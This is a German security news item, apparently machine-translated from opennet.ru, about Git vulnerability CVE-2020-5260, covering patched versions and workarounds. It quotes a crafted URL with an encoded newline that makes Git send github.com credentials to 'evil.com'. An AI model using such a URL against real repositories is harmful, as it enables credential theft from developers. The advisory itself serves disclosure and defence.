Sicherheitslücke durch Git-Anmeldedatenlecks

Veröffentlicht Korrekturversionen des verteilten Quellcodeverwaltungssystems Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 und 2.17.4, in was beseitigt wurde Verwundbarkeit (CVE-2020-5260) im Handler "credential.helper", was dazu führt, dass Anmeldeinformationen an den falschen Host gesendet werden, wenn ein Git-Client über eine speziell formatierte URL mit einem Zeilenumbruchzeichen auf ein Repository zugreift. Die Schwachstelle kann genutzt werden, um zu veranlassen, dass Anmeldeinformationen von einem anderen Host an einen vom Angreifer kontrollierten Server gesendet werden.

Wenn Sie eine URL wie „https://evil.com?%0ahost=github.com/“ angeben, übergibt der Anmeldeinformations-Handler beim Herstellen einer Verbindung zum Host evil.com die für github.com angegebenen Authentifizierungsparameter. Das Problem tritt auf, wenn Vorgänge wie „git clone“ ausgeführt werden, einschließlich der Verarbeitung von URLs für Submodule (z. B. verarbeitet „git submodule update“ automatisch die in der .gitmodules-Datei angegebenen URLs aus dem Repository). Am gefährlichsten ist die Schwachstelle in Situationen, in denen ein Entwickler ein Repository klont, ohne die URL zu sehen, beispielsweise bei der Arbeit mit Submodulen, oder in Systemen, die automatische Aktionen ausführen, beispielsweise in Paketerstellungsskripten.

Um Schwachstellen in neuen Versionen zu blockieren verboten Übergeben eines Zeilenumbruchzeichens in allen Werten, die über das Anmeldeinformationsaustauschprotokoll übertragen werden. Bei Distributionen können Sie die Veröffentlichung von Paketaktualisierungen auf den Seiten verfolgen Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Bogen, FreeBSD.

Als Workaround, um das Problem zu blockieren empfohlen Verwenden Sie credential.helper nicht, wenn Sie auf öffentliche Repositorys zugreifen, und verwenden Sie „git clone“ nicht im „--recurse-submodules“-Modus mit ungeprüften Repositorys. Um den credential.helper-Handler vollständig zu deaktivieren, was der Fall ist bewahren und Abrufen von Passwörtern von Zwischenspeicher, geschützt Repositorys oder eine Datei mit Passwörtern, können Sie die folgenden Befehle verwenden:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Source: opennet.ru

Kommentar hinzufügen